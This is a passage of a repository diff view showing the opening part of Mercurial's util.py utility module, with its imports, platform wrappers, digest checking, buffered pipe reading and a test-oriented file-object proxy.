##// END OF EJS Templates
py3: use native string for 'macosx_app'...
Martin von Zweigbergk -
r44056:38387f9e default
parent child Browse files
Show More
@@ -1,3601 +1,3601 b''
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import, print_function
16 from __future__ import absolute_import, print_function
17
17
18 import abc
18 import abc
19 import collections
19 import collections
20 import contextlib
20 import contextlib
21 import errno
21 import errno
22 import gc
22 import gc
23 import hashlib
23 import hashlib
24 import itertools
24 import itertools
25 import mmap
25 import mmap
26 import os
26 import os
27 import platform as pyplatform
27 import platform as pyplatform
28 import re as remod
28 import re as remod
29 import shutil
29 import shutil
30 import socket
30 import socket
31 import stat
31 import stat
32 import sys
32 import sys
33 import time
33 import time
34 import traceback
34 import traceback
35 import warnings
35 import warnings
36
36
37 from .thirdparty import attr
37 from .thirdparty import attr
38 from .pycompat import (
38 from .pycompat import (
39 delattr,
39 delattr,
40 getattr,
40 getattr,
41 open,
41 open,
42 setattr,
42 setattr,
43 )
43 )
44 from hgdemandimport import tracing
44 from hgdemandimport import tracing
45 from . import (
45 from . import (
46 encoding,
46 encoding,
47 error,
47 error,
48 i18n,
48 i18n,
49 node as nodemod,
49 node as nodemod,
50 policy,
50 policy,
51 pycompat,
51 pycompat,
52 urllibcompat,
52 urllibcompat,
53 )
53 )
54 from .utils import (
54 from .utils import (
55 compression,
55 compression,
56 procutil,
56 procutil,
57 stringutil,
57 stringutil,
58 )
58 )
59
59
60 base85 = policy.importmod('base85')
60 base85 = policy.importmod('base85')
61 osutil = policy.importmod('osutil')
61 osutil = policy.importmod('osutil')
62
62
63 b85decode = base85.b85decode
63 b85decode = base85.b85decode
64 b85encode = base85.b85encode
64 b85encode = base85.b85encode
65
65
66 cookielib = pycompat.cookielib
66 cookielib = pycompat.cookielib
67 httplib = pycompat.httplib
67 httplib = pycompat.httplib
68 pickle = pycompat.pickle
68 pickle = pycompat.pickle
69 safehasattr = pycompat.safehasattr
69 safehasattr = pycompat.safehasattr
70 socketserver = pycompat.socketserver
70 socketserver = pycompat.socketserver
71 bytesio = pycompat.bytesio
71 bytesio = pycompat.bytesio
72 # TODO deprecate stringio name, as it is a lie on Python 3.
72 # TODO deprecate stringio name, as it is a lie on Python 3.
73 stringio = bytesio
73 stringio = bytesio
74 xmlrpclib = pycompat.xmlrpclib
74 xmlrpclib = pycompat.xmlrpclib
75
75
76 httpserver = urllibcompat.httpserver
76 httpserver = urllibcompat.httpserver
77 urlerr = urllibcompat.urlerr
77 urlerr = urllibcompat.urlerr
78 urlreq = urllibcompat.urlreq
78 urlreq = urllibcompat.urlreq
79
79
80 # workaround for win32mbcs
80 # workaround for win32mbcs
81 _filenamebytestr = pycompat.bytestr
81 _filenamebytestr = pycompat.bytestr
82
82
83 if pycompat.iswindows:
83 if pycompat.iswindows:
84 from . import windows as platform
84 from . import windows as platform
85 else:
85 else:
86 from . import posix as platform
86 from . import posix as platform
87
87
88 _ = i18n._
88 _ = i18n._
89
89
90 bindunixsocket = platform.bindunixsocket
90 bindunixsocket = platform.bindunixsocket
91 cachestat = platform.cachestat
91 cachestat = platform.cachestat
92 checkexec = platform.checkexec
92 checkexec = platform.checkexec
93 checklink = platform.checklink
93 checklink = platform.checklink
94 copymode = platform.copymode
94 copymode = platform.copymode
95 expandglobs = platform.expandglobs
95 expandglobs = platform.expandglobs
96 getfsmountpoint = platform.getfsmountpoint
96 getfsmountpoint = platform.getfsmountpoint
97 getfstype = platform.getfstype
97 getfstype = platform.getfstype
98 groupmembers = platform.groupmembers
98 groupmembers = platform.groupmembers
99 groupname = platform.groupname
99 groupname = platform.groupname
100 isexec = platform.isexec
100 isexec = platform.isexec
101 isowner = platform.isowner
101 isowner = platform.isowner
102 listdir = osutil.listdir
102 listdir = osutil.listdir
103 localpath = platform.localpath
103 localpath = platform.localpath
104 lookupreg = platform.lookupreg
104 lookupreg = platform.lookupreg
105 makedir = platform.makedir
105 makedir = platform.makedir
106 nlinks = platform.nlinks
106 nlinks = platform.nlinks
107 normpath = platform.normpath
107 normpath = platform.normpath
108 normcase = platform.normcase
108 normcase = platform.normcase
109 normcasespec = platform.normcasespec
109 normcasespec = platform.normcasespec
110 normcasefallback = platform.normcasefallback
110 normcasefallback = platform.normcasefallback
111 openhardlinks = platform.openhardlinks
111 openhardlinks = platform.openhardlinks
112 oslink = platform.oslink
112 oslink = platform.oslink
113 parsepatchoutput = platform.parsepatchoutput
113 parsepatchoutput = platform.parsepatchoutput
114 pconvert = platform.pconvert
114 pconvert = platform.pconvert
115 poll = platform.poll
115 poll = platform.poll
116 posixfile = platform.posixfile
116 posixfile = platform.posixfile
117 readlink = platform.readlink
117 readlink = platform.readlink
118 rename = platform.rename
118 rename = platform.rename
119 removedirs = platform.removedirs
119 removedirs = platform.removedirs
120 samedevice = platform.samedevice
120 samedevice = platform.samedevice
121 samefile = platform.samefile
121 samefile = platform.samefile
122 samestat = platform.samestat
122 samestat = platform.samestat
123 setflags = platform.setflags
123 setflags = platform.setflags
124 split = platform.split
124 split = platform.split
125 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
125 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
126 statisexec = platform.statisexec
126 statisexec = platform.statisexec
127 statislink = platform.statislink
127 statislink = platform.statislink
128 umask = platform.umask
128 umask = platform.umask
129 unlink = platform.unlink
129 unlink = platform.unlink
130 username = platform.username
130 username = platform.username
131
131
132 # small compat layer
132 # small compat layer
133 compengines = compression.compengines
133 compengines = compression.compengines
134 SERVERROLE = compression.SERVERROLE
134 SERVERROLE = compression.SERVERROLE
135 CLIENTROLE = compression.CLIENTROLE
135 CLIENTROLE = compression.CLIENTROLE
136
136
137 try:
137 try:
138 recvfds = osutil.recvfds
138 recvfds = osutil.recvfds
139 except AttributeError:
139 except AttributeError:
140 pass
140 pass
141
141
142 # Python compatibility
142 # Python compatibility
143
143
144 _notset = object()
144 _notset = object()
145
145
146
146
147 def bitsfrom(container):
147 def bitsfrom(container):
148 bits = 0
148 bits = 0
149 for bit in container:
149 for bit in container:
150 bits |= bit
150 bits |= bit
151 return bits
151 return bits
152
152
153
153
154 # python 2.6 still have deprecation warning enabled by default. We do not want
154 # python 2.6 still have deprecation warning enabled by default. We do not want
155 # to display anything to standard user so detect if we are running test and
155 # to display anything to standard user so detect if we are running test and
156 # only use python deprecation warning in this case.
156 # only use python deprecation warning in this case.
157 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
157 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
158 if _dowarn:
158 if _dowarn:
159 # explicitly unfilter our warning for python 2.7
159 # explicitly unfilter our warning for python 2.7
160 #
160 #
161 # The option of setting PYTHONWARNINGS in the test runner was investigated.
161 # The option of setting PYTHONWARNINGS in the test runner was investigated.
162 # However, module name set through PYTHONWARNINGS was exactly matched, so
162 # However, module name set through PYTHONWARNINGS was exactly matched, so
163 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
163 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
164 # makes the whole PYTHONWARNINGS thing useless for our usecase.
164 # makes the whole PYTHONWARNINGS thing useless for our usecase.
165 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
165 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
166 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
166 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
167 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
167 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
168 if _dowarn and pycompat.ispy3:
168 if _dowarn and pycompat.ispy3:
169 # silence warning emitted by passing user string to re.sub()
169 # silence warning emitted by passing user string to re.sub()
170 warnings.filterwarnings(
170 warnings.filterwarnings(
171 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
171 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
172 )
172 )
173 warnings.filterwarnings(
173 warnings.filterwarnings(
174 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
174 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
175 )
175 )
176 # TODO: reinvent imp.is_frozen()
176 # TODO: reinvent imp.is_frozen()
177 warnings.filterwarnings(
177 warnings.filterwarnings(
178 'ignore',
178 'ignore',
179 'the imp module is deprecated',
179 'the imp module is deprecated',
180 DeprecationWarning,
180 DeprecationWarning,
181 'mercurial',
181 'mercurial',
182 )
182 )
183
183
184
184
185 def nouideprecwarn(msg, version, stacklevel=1):
185 def nouideprecwarn(msg, version, stacklevel=1):
186 """Issue an python native deprecation warning
186 """Issue an python native deprecation warning
187
187
188 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
188 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
189 """
189 """
190 if _dowarn:
190 if _dowarn:
191 msg += (
191 msg += (
192 b"\n(compatibility will be dropped after Mercurial-%s,"
192 b"\n(compatibility will be dropped after Mercurial-%s,"
193 b" update your code.)"
193 b" update your code.)"
194 ) % version
194 ) % version
195 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
195 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
196
196
197
197
198 DIGESTS = {
198 DIGESTS = {
199 b'md5': hashlib.md5,
199 b'md5': hashlib.md5,
200 b'sha1': hashlib.sha1,
200 b'sha1': hashlib.sha1,
201 b'sha512': hashlib.sha512,
201 b'sha512': hashlib.sha512,
202 }
202 }
203 # List of digest types from strongest to weakest
203 # List of digest types from strongest to weakest
204 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
204 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
205
205
206 for k in DIGESTS_BY_STRENGTH:
206 for k in DIGESTS_BY_STRENGTH:
207 assert k in DIGESTS
207 assert k in DIGESTS
208
208
209
209
210 class digester(object):
210 class digester(object):
211 """helper to compute digests.
211 """helper to compute digests.
212
212
213 This helper can be used to compute one or more digests given their name.
213 This helper can be used to compute one or more digests given their name.
214
214
215 >>> d = digester([b'md5', b'sha1'])
215 >>> d = digester([b'md5', b'sha1'])
216 >>> d.update(b'foo')
216 >>> d.update(b'foo')
217 >>> [k for k in sorted(d)]
217 >>> [k for k in sorted(d)]
218 ['md5', 'sha1']
218 ['md5', 'sha1']
219 >>> d[b'md5']
219 >>> d[b'md5']
220 'acbd18db4cc2f85cedef654fccc4a4d8'
220 'acbd18db4cc2f85cedef654fccc4a4d8'
221 >>> d[b'sha1']
221 >>> d[b'sha1']
222 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
222 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
223 >>> digester.preferred([b'md5', b'sha1'])
223 >>> digester.preferred([b'md5', b'sha1'])
224 'sha1'
224 'sha1'
225 """
225 """
226
226
227 def __init__(self, digests, s=b''):
227 def __init__(self, digests, s=b''):
228 self._hashes = {}
228 self._hashes = {}
229 for k in digests:
229 for k in digests:
230 if k not in DIGESTS:
230 if k not in DIGESTS:
231 raise error.Abort(_(b'unknown digest type: %s') % k)
231 raise error.Abort(_(b'unknown digest type: %s') % k)
232 self._hashes[k] = DIGESTS[k]()
232 self._hashes[k] = DIGESTS[k]()
233 if s:
233 if s:
234 self.update(s)
234 self.update(s)
235
235
236 def update(self, data):
236 def update(self, data):
237 for h in self._hashes.values():
237 for h in self._hashes.values():
238 h.update(data)
238 h.update(data)
239
239
240 def __getitem__(self, key):
240 def __getitem__(self, key):
241 if key not in DIGESTS:
241 if key not in DIGESTS:
242 raise error.Abort(_(b'unknown digest type: %s') % k)
242 raise error.Abort(_(b'unknown digest type: %s') % k)
243 return nodemod.hex(self._hashes[key].digest())
243 return nodemod.hex(self._hashes[key].digest())
244
244
245 def __iter__(self):
245 def __iter__(self):
246 return iter(self._hashes)
246 return iter(self._hashes)
247
247
248 @staticmethod
248 @staticmethod
249 def preferred(supported):
249 def preferred(supported):
250 """returns the strongest digest type in both supported and DIGESTS."""
250 """returns the strongest digest type in both supported and DIGESTS."""
251
251
252 for k in DIGESTS_BY_STRENGTH:
252 for k in DIGESTS_BY_STRENGTH:
253 if k in supported:
253 if k in supported:
254 return k
254 return k
255 return None
255 return None
256
256
257
257
258 class digestchecker(object):
258 class digestchecker(object):
259 """file handle wrapper that additionally checks content against a given
259 """file handle wrapper that additionally checks content against a given
260 size and digests.
260 size and digests.
261
261
262 d = digestchecker(fh, size, {'md5': '...'})
262 d = digestchecker(fh, size, {'md5': '...'})
263
263
264 When multiple digests are given, all of them are validated.
264 When multiple digests are given, all of them are validated.
265 """
265 """
266
266
267 def __init__(self, fh, size, digests):
267 def __init__(self, fh, size, digests):
268 self._fh = fh
268 self._fh = fh
269 self._size = size
269 self._size = size
270 self._got = 0
270 self._got = 0
271 self._digests = dict(digests)
271 self._digests = dict(digests)
272 self._digester = digester(self._digests.keys())
272 self._digester = digester(self._digests.keys())
273
273
274 def read(self, length=-1):
274 def read(self, length=-1):
275 content = self._fh.read(length)
275 content = self._fh.read(length)
276 self._digester.update(content)
276 self._digester.update(content)
277 self._got += len(content)
277 self._got += len(content)
278 return content
278 return content
279
279
280 def validate(self):
280 def validate(self):
281 if self._size != self._got:
281 if self._size != self._got:
282 raise error.Abort(
282 raise error.Abort(
283 _(b'size mismatch: expected %d, got %d')
283 _(b'size mismatch: expected %d, got %d')
284 % (self._size, self._got)
284 % (self._size, self._got)
285 )
285 )
286 for k, v in self._digests.items():
286 for k, v in self._digests.items():
287 if v != self._digester[k]:
287 if v != self._digester[k]:
288 # i18n: first parameter is a digest name
288 # i18n: first parameter is a digest name
289 raise error.Abort(
289 raise error.Abort(
290 _(b'%s mismatch: expected %s, got %s')
290 _(b'%s mismatch: expected %s, got %s')
291 % (k, v, self._digester[k])
291 % (k, v, self._digester[k])
292 )
292 )
293
293
294
294
295 try:
295 try:
296 buffer = buffer
296 buffer = buffer
297 except NameError:
297 except NameError:
298
298
299 def buffer(sliceable, offset=0, length=None):
299 def buffer(sliceable, offset=0, length=None):
300 if length is not None:
300 if length is not None:
301 return memoryview(sliceable)[offset : offset + length]
301 return memoryview(sliceable)[offset : offset + length]
302 return memoryview(sliceable)[offset:]
302 return memoryview(sliceable)[offset:]
303
303
304
304
305 _chunksize = 4096
305 _chunksize = 4096
306
306
307
307
308 class bufferedinputpipe(object):
308 class bufferedinputpipe(object):
309 """a manually buffered input pipe
309 """a manually buffered input pipe
310
310
311 Python will not let us use buffered IO and lazy reading with 'polling' at
311 Python will not let us use buffered IO and lazy reading with 'polling' at
312 the same time. We cannot probe the buffer state and select will not detect
312 the same time. We cannot probe the buffer state and select will not detect
313 that data are ready to read if they are already buffered.
313 that data are ready to read if they are already buffered.
314
314
315 This class let us work around that by implementing its own buffering
315 This class let us work around that by implementing its own buffering
316 (allowing efficient readline) while offering a way to know if the buffer is
316 (allowing efficient readline) while offering a way to know if the buffer is
317 empty from the output (allowing collaboration of the buffer with polling).
317 empty from the output (allowing collaboration of the buffer with polling).
318
318
319 This class lives in the 'util' module because it makes use of the 'os'
319 This class lives in the 'util' module because it makes use of the 'os'
320 module from the python stdlib.
320 module from the python stdlib.
321 """
321 """
322
322
323 def __new__(cls, fh):
323 def __new__(cls, fh):
324 # If we receive a fileobjectproxy, we need to use a variation of this
324 # If we receive a fileobjectproxy, we need to use a variation of this
325 # class that notifies observers about activity.
325 # class that notifies observers about activity.
326 if isinstance(fh, fileobjectproxy):
326 if isinstance(fh, fileobjectproxy):
327 cls = observedbufferedinputpipe
327 cls = observedbufferedinputpipe
328
328
329 return super(bufferedinputpipe, cls).__new__(cls)
329 return super(bufferedinputpipe, cls).__new__(cls)
330
330
331 def __init__(self, input):
331 def __init__(self, input):
332 self._input = input
332 self._input = input
333 self._buffer = []
333 self._buffer = []
334 self._eof = False
334 self._eof = False
335 self._lenbuf = 0
335 self._lenbuf = 0
336
336
337 @property
337 @property
338 def hasbuffer(self):
338 def hasbuffer(self):
339 """True is any data is currently buffered
339 """True is any data is currently buffered
340
340
341 This will be used externally a pre-step for polling IO. If there is
341 This will be used externally a pre-step for polling IO. If there is
342 already data then no polling should be set in place."""
342 already data then no polling should be set in place."""
343 return bool(self._buffer)
343 return bool(self._buffer)
344
344
345 @property
345 @property
346 def closed(self):
346 def closed(self):
347 return self._input.closed
347 return self._input.closed
348
348
349 def fileno(self):
349 def fileno(self):
350 return self._input.fileno()
350 return self._input.fileno()
351
351
352 def close(self):
352 def close(self):
353 return self._input.close()
353 return self._input.close()
354
354
355 def read(self, size):
355 def read(self, size):
356 while (not self._eof) and (self._lenbuf < size):
356 while (not self._eof) and (self._lenbuf < size):
357 self._fillbuffer()
357 self._fillbuffer()
358 return self._frombuffer(size)
358 return self._frombuffer(size)
359
359
360 def unbufferedread(self, size):
360 def unbufferedread(self, size):
361 if not self._eof and self._lenbuf == 0:
361 if not self._eof and self._lenbuf == 0:
362 self._fillbuffer(max(size, _chunksize))
362 self._fillbuffer(max(size, _chunksize))
363 return self._frombuffer(min(self._lenbuf, size))
363 return self._frombuffer(min(self._lenbuf, size))
364
364
365 def readline(self, *args, **kwargs):
365 def readline(self, *args, **kwargs):
366 if len(self._buffer) > 1:
366 if len(self._buffer) > 1:
367 # this should not happen because both read and readline end with a
367 # this should not happen because both read and readline end with a
368 # _frombuffer call that collapse it.
368 # _frombuffer call that collapse it.
369 self._buffer = [b''.join(self._buffer)]
369 self._buffer = [b''.join(self._buffer)]
370 self._lenbuf = len(self._buffer[0])
370 self._lenbuf = len(self._buffer[0])
371 lfi = -1
371 lfi = -1
372 if self._buffer:
372 if self._buffer:
373 lfi = self._buffer[-1].find(b'\n')
373 lfi = self._buffer[-1].find(b'\n')
374 while (not self._eof) and lfi < 0:
374 while (not self._eof) and lfi < 0:
375 self._fillbuffer()
375 self._fillbuffer()
376 if self._buffer:
376 if self._buffer:
377 lfi = self._buffer[-1].find(b'\n')
377 lfi = self._buffer[-1].find(b'\n')
378 size = lfi + 1
378 size = lfi + 1
379 if lfi < 0: # end of file
379 if lfi < 0: # end of file
380 size = self._lenbuf
380 size = self._lenbuf
381 elif len(self._buffer) > 1:
381 elif len(self._buffer) > 1:
382 # we need to take previous chunks into account
382 # we need to take previous chunks into account
383 size += self._lenbuf - len(self._buffer[-1])
383 size += self._lenbuf - len(self._buffer[-1])
384 return self._frombuffer(size)
384 return self._frombuffer(size)
385
385
386 def _frombuffer(self, size):
386 def _frombuffer(self, size):
387 """return at most 'size' data from the buffer
387 """return at most 'size' data from the buffer
388
388
389 The data are removed from the buffer."""
389 The data are removed from the buffer."""
390 if size == 0 or not self._buffer:
390 if size == 0 or not self._buffer:
391 return b''
391 return b''
392 buf = self._buffer[0]
392 buf = self._buffer[0]
393 if len(self._buffer) > 1:
393 if len(self._buffer) > 1:
394 buf = b''.join(self._buffer)
394 buf = b''.join(self._buffer)
395
395
396 data = buf[:size]
396 data = buf[:size]
397 buf = buf[len(data) :]
397 buf = buf[len(data) :]
398 if buf:
398 if buf:
399 self._buffer = [buf]
399 self._buffer = [buf]
400 self._lenbuf = len(buf)
400 self._lenbuf = len(buf)
401 else:
401 else:
402 self._buffer = []
402 self._buffer = []
403 self._lenbuf = 0
403 self._lenbuf = 0
404 return data
404 return data
405
405
406 def _fillbuffer(self, size=_chunksize):
406 def _fillbuffer(self, size=_chunksize):
407 """read data to the buffer"""
407 """read data to the buffer"""
408 data = os.read(self._input.fileno(), size)
408 data = os.read(self._input.fileno(), size)
409 if not data:
409 if not data:
410 self._eof = True
410 self._eof = True
411 else:
411 else:
412 self._lenbuf += len(data)
412 self._lenbuf += len(data)
413 self._buffer.append(data)
413 self._buffer.append(data)
414
414
415 return data
415 return data
416
416
417
417
418 def mmapread(fp):
418 def mmapread(fp):
419 try:
419 try:
420 fd = getattr(fp, 'fileno', lambda: fp)()
420 fd = getattr(fp, 'fileno', lambda: fp)()
421 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
421 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
422 except ValueError:
422 except ValueError:
423 # Empty files cannot be mmapped, but mmapread should still work. Check
423 # Empty files cannot be mmapped, but mmapread should still work. Check
424 # if the file is empty, and if so, return an empty buffer.
424 # if the file is empty, and if so, return an empty buffer.
425 if os.fstat(fd).st_size == 0:
425 if os.fstat(fd).st_size == 0:
426 return b''
426 return b''
427 raise
427 raise
428
428
429
429
430 class fileobjectproxy(object):
430 class fileobjectproxy(object):
431 """A proxy around file objects that tells a watcher when events occur.
431 """A proxy around file objects that tells a watcher when events occur.
432
432
433 This type is intended to only be used for testing purposes. Think hard
433 This type is intended to only be used for testing purposes. Think hard
434 before using it in important code.
434 before using it in important code.
435 """
435 """
436
436
437 __slots__ = (
437 __slots__ = (
438 '_orig',
438 '_orig',
439 '_observer',
439 '_observer',
440 )
440 )
441
441
442 def __init__(self, fh, observer):
442 def __init__(self, fh, observer):
443 object.__setattr__(self, '_orig', fh)
443 object.__setattr__(self, '_orig', fh)
444 object.__setattr__(self, '_observer', observer)
444 object.__setattr__(self, '_observer', observer)
445
445
446 def __getattribute__(self, name):
446 def __getattribute__(self, name):
447 ours = {
447 ours = {
448 '_observer',
448 '_observer',
449 # IOBase
449 # IOBase
450 'close',
450 'close',
451 # closed if a property
451 # closed if a property
452 'fileno',
452 'fileno',
453 'flush',
453 'flush',
454 'isatty',
454 'isatty',
455 'readable',
455 'readable',
456 'readline',
456 'readline',
457 'readlines',
457 'readlines',
458 'seek',
458 'seek',
459 'seekable',
459 'seekable',
460 'tell',
460 'tell',
461 'truncate',
461 'truncate',
462 'writable',
462 'writable',
463 'writelines',
463 'writelines',
464 # RawIOBase
464 # RawIOBase
465 'read',
465 'read',
466 'readall',
466 'readall',
467 'readinto',
467 'readinto',
468 'write',
468 'write',
469 # BufferedIOBase
469 # BufferedIOBase
470 # raw is a property
470 # raw is a property
471 'detach',
471 'detach',
472 # read defined above
472 # read defined above
473 'read1',
473 'read1',
474 # readinto defined above
474 # readinto defined above
475 # write defined above
475 # write defined above
476 }
476 }
477
477
478 # We only observe some methods.
478 # We only observe some methods.
479 if name in ours:
479 if name in ours:
480 return object.__getattribute__(self, name)
480 return object.__getattribute__(self, name)
481
481
482 return getattr(object.__getattribute__(self, '_orig'), name)
482 return getattr(object.__getattribute__(self, '_orig'), name)
483
483
484 def __nonzero__(self):
484 def __nonzero__(self):
485 return bool(object.__getattribute__(self, '_orig'))
485 return bool(object.__getattribute__(self, '_orig'))
486
486
487 __bool__ = __nonzero__
487 __bool__ = __nonzero__
488
488
489 def __delattr__(self, name):
489 def __delattr__(self, name):
490 return delattr(object.__getattribute__(self, '_orig'), name)
490 return delattr(object.__getattribute__(self, '_orig'), name)
491
491
492 def __setattr__(self, name, value):
492 def __setattr__(self, name, value):
493 return setattr(object.__getattribute__(self, '_orig'), name, value)
493 return setattr(object.__getattribute__(self, '_orig'), name, value)
494
494
495 def __iter__(self):
495 def __iter__(self):
496 return object.__getattribute__(self, '_orig').__iter__()
496 return object.__getattribute__(self, '_orig').__iter__()
497
497
498 def _observedcall(self, name, *args, **kwargs):
498 def _observedcall(self, name, *args, **kwargs):
499 # Call the original object.
499 # Call the original object.
500 orig = object.__getattribute__(self, '_orig')
500 orig = object.__getattribute__(self, '_orig')
501 res = getattr(orig, name)(*args, **kwargs)
501 res = getattr(orig, name)(*args, **kwargs)
502
502
503 # Call a method on the observer of the same name with arguments
503 # Call a method on the observer of the same name with arguments
504 # so it can react, log, etc.
504 # so it can react, log, etc.
505 observer = object.__getattribute__(self, '_observer')
505 observer = object.__getattribute__(self, '_observer')
506 fn = getattr(observer, name, None)
506 fn = getattr(observer, name, None)
507 if fn:
507 if fn:
508 fn(res, *args, **kwargs)
508 fn(res, *args, **kwargs)
509
509
510 return res
510 return res
511
511
512 def close(self, *args, **kwargs):
512 def close(self, *args, **kwargs):
513 return object.__getattribute__(self, '_observedcall')(
513 return object.__getattribute__(self, '_observedcall')(
514 'close', *args, **kwargs
514 'close', *args, **kwargs
515 )
515 )
516
516
517 def fileno(self, *args, **kwargs):
517 def fileno(self, *args, **kwargs):
518 return object.__getattribute__(self, '_observedcall')(
518 return object.__getattribute__(self, '_observedcall')(
519 'fileno', *args, **kwargs
519 'fileno', *args, **kwargs
520 )
520 )
521
521
522 def flush(self, *args, **kwargs):
522 def flush(self, *args, **kwargs):
523 return object.__getattribute__(self, '_observedcall')(
523 return object.__getattribute__(self, '_observedcall')(
524 'flush', *args, **kwargs
524 'flush', *args, **kwargs
525 )
525 )
526
526
527 def isatty(self, *args, **kwargs):
527 def isatty(self, *args, **kwargs):
528 return object.__getattribute__(self, '_observedcall')(
528 return object.__getattribute__(self, '_observedcall')(
529 'isatty', *args, **kwargs
529 'isatty', *args, **kwargs
530 )
530 )
531
531
532 def readable(self, *args, **kwargs):
532 def readable(self, *args, **kwargs):
533 return object.__getattribute__(self, '_observedcall')(
533 return object.__getattribute__(self, '_observedcall')(
534 'readable', *args, **kwargs
534 'readable', *args, **kwargs
535 )
535 )
536
536
537 def readline(self, *args, **kwargs):
537 def readline(self, *args, **kwargs):
538 return object.__getattribute__(self, '_observedcall')(
538 return object.__getattribute__(self, '_observedcall')(
539 'readline', *args, **kwargs
539 'readline', *args, **kwargs
540 )
540 )
541
541
542 def readlines(self, *args, **kwargs):
542 def readlines(self, *args, **kwargs):
543 return object.__getattribute__(self, '_observedcall')(
543 return object.__getattribute__(self, '_observedcall')(
544 'readlines', *args, **kwargs
544 'readlines', *args, **kwargs
545 )
545 )
546
546
547 def seek(self, *args, **kwargs):
547 def seek(self, *args, **kwargs):
548 return object.__getattribute__(self, '_observedcall')(
548 return object.__getattribute__(self, '_observedcall')(
549 'seek', *args, **kwargs
549 'seek', *args, **kwargs
550 )
550 )
551
551
552 def seekable(self, *args, **kwargs):
552 def seekable(self, *args, **kwargs):
553 return object.__getattribute__(self, '_observedcall')(
553 return object.__getattribute__(self, '_observedcall')(
554 'seekable', *args, **kwargs
554 'seekable', *args, **kwargs
555 )
555 )
556
556
557 def tell(self, *args, **kwargs):
557 def tell(self, *args, **kwargs):
558 return object.__getattribute__(self, '_observedcall')(
558 return object.__getattribute__(self, '_observedcall')(
559 'tell', *args, **kwargs
559 'tell', *args, **kwargs
560 )
560 )
561
561
562 def truncate(self, *args, **kwargs):
562 def truncate(self, *args, **kwargs):
563 return object.__getattribute__(self, '_observedcall')(
563 return object.__getattribute__(self, '_observedcall')(
564 'truncate', *args, **kwargs
564 'truncate', *args, **kwargs
565 )
565 )
566
566
567 def writable(self, *args, **kwargs):
567 def writable(self, *args, **kwargs):
568 return object.__getattribute__(self, '_observedcall')(
568 return object.__getattribute__(self, '_observedcall')(
569 'writable', *args, **kwargs
569 'writable', *args, **kwargs
570 )
570 )
571
571
572 def writelines(self, *args, **kwargs):
572 def writelines(self, *args, **kwargs):
573 return object.__getattribute__(self, '_observedcall')(
573 return object.__getattribute__(self, '_observedcall')(
574 'writelines', *args, **kwargs
574 'writelines', *args, **kwargs
575 )
575 )
576
576
577 def read(self, *args, **kwargs):
577 def read(self, *args, **kwargs):
578 return object.__getattribute__(self, '_observedcall')(
578 return object.__getattribute__(self, '_observedcall')(
579 'read', *args, **kwargs
579 'read', *args, **kwargs
580 )
580 )
581
581
582 def readall(self, *args, **kwargs):
582 def readall(self, *args, **kwargs):
583 return object.__getattribute__(self, '_observedcall')(
583 return object.__getattribute__(self, '_observedcall')(
584 'readall', *args, **kwargs
584 'readall', *args, **kwargs
585 )
585 )
586
586
587 def readinto(self, *args, **kwargs):
587 def readinto(self, *args, **kwargs):
588 return object.__getattribute__(self, '_observedcall')(
588 return object.__getattribute__(self, '_observedcall')(
589 'readinto', *args, **kwargs
589 'readinto', *args, **kwargs
590 )
590 )
591
591
592 def write(self, *args, **kwargs):
592 def write(self, *args, **kwargs):
593 return object.__getattribute__(self, '_observedcall')(
593 return object.__getattribute__(self, '_observedcall')(
594 'write', *args, **kwargs
594 'write', *args, **kwargs
595 )
595 )
596
596
597 def detach(self, *args, **kwargs):
597 def detach(self, *args, **kwargs):
598 return object.__getattribute__(self, '_observedcall')(
598 return object.__getattribute__(self, '_observedcall')(
599 'detach', *args, **kwargs
599 'detach', *args, **kwargs
600 )
600 )
601
601
602 def read1(self, *args, **kwargs):
602 def read1(self, *args, **kwargs):
603 return object.__getattribute__(self, '_observedcall')(
603 return object.__getattribute__(self, '_observedcall')(
604 'read1', *args, **kwargs
604 'read1', *args, **kwargs
605 )
605 )
606
606
607
607
608 class observedbufferedinputpipe(bufferedinputpipe):
608 class observedbufferedinputpipe(bufferedinputpipe):
609 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
609 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
610
610
